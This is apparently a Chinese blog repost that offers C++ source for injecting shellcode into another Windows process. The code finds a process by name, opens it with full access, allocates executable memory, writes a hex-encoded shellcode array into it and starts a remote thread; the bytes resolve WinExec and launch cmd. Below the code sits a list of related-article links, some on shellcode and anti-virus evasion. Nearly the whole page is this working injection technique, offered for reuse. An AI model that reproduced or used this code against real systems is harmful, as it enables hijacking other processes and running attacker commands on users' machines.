所有windows可用shellcode
来源:互联网 发布:mysql执行txt文件 编辑:程序博客网 时间:2024/06/14 09:13
引用
#include "stdafx.h"#include <windows.h>#include<Tlhelp32.h>unsigned char shellcode[] ="\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B""\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9""\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C""\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0""\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B""\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72""\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03""\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47""\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F""\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72""\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66""\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14""\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE""\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53""\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24""\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51""\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE""\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45""\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54""\x24\x20\x57\xFF\xD0";DWORD GetProcessID(WCHAR *FileName){ HANDLE myhProcess; PROCESSENTRY32 pe32; pe32.dwSize = sizeof(PROCESSENTRY32); BOOL mybRet; myhProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); mybRet = Process32First(myhProcess, &pe32); while (mybRet) { if (wcscmp(FileName, pe32.szExeFile) == 0) return pe32.th32ProcessID; else mybRet = Process32Next(myhProcess, &pe32); } return 0;}int main(){ //insterGameFun(); DWORD dwProcessId = GetProcessID(L"MFCApplication1.exe");//随便换个程序 if (dwProcessId == 0) { DWORD ret = GetLastError(); printf("%d\n", ret); system("pause"); return -1; } HANDLE handle = OpenProcess(PROCESS_ALL_ACCESS,FALSE, dwProcessId); if (handle == NULL) { DWORD ret = GetLastError(); printf("%d\n", ret); system("pause"); return -2; } LPVOID lpvoid = VirtualAllocEx(handle, NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);//在目标进程建立内存空间 if (lpvoid == NULL) { DWORD ret = GetLastError(); printf("%d\n", ret); system("pause"); return -3; } BOOL logic = WriteProcessMemory(handle, lpvoid, shellcode, 4096, NULL); if (!logic) { DWORD ret = GetLastError(); printf("%d\n", ret); system("pause"); return -4; } HANDLE remoteHandle = CreateRemoteThread(handle, 0, 0, (LPTHREAD_START_ROUTINE)lpvoid, NULL, 0, NULL); if (remoteHandle == NULL) { DWORD ret = GetLastError(); printf("%d\n", ret); system("pause"); return -5; } return 0;}
本来想写call的结果搜着搜着写出shellcode了
1 0
- 所有windows可用shellcode
- Advances in Windows Shellcode
- windows下shellcode检测工具
- windows下shellcode高级编程
- windows 环境下 Shellcode 总结
- 打造windows下的shellcode
- windows下shellcode编写入门
- windows下shellcode编写入门
- 64位shellcode编程(不错) Windows x64 Shellcode
- shellcode
- Shellcode
- Shellcode
- shellcode
- shellcode
- shellcode
- Shellcode
- shellcode
- shellcode
- 一个日期处于该年的第几天
- Visual Studio2017搭配OpenCV2.4.13
- 免杀,加壳
- 正则表达式30分钟入门教程
- Python+Selenium中级篇之0-设计自动化测试框架的前提技能介绍
- 所有windows可用shellcode
- java中什么是Yield给出一个例子
- JAVA IO流实现字节数组与任何基本类型和引用类型的相互转换
- 优化 | 再用传统分页SQL你就死定了
- Wireshark入门教程
- java中线程优先级是怎么回事给出一个例子
- c#使用委托实现辛普森法求多个函数的定积分
- sqlserver 多个条件的 LIKE语句
- Java.awt.Font 类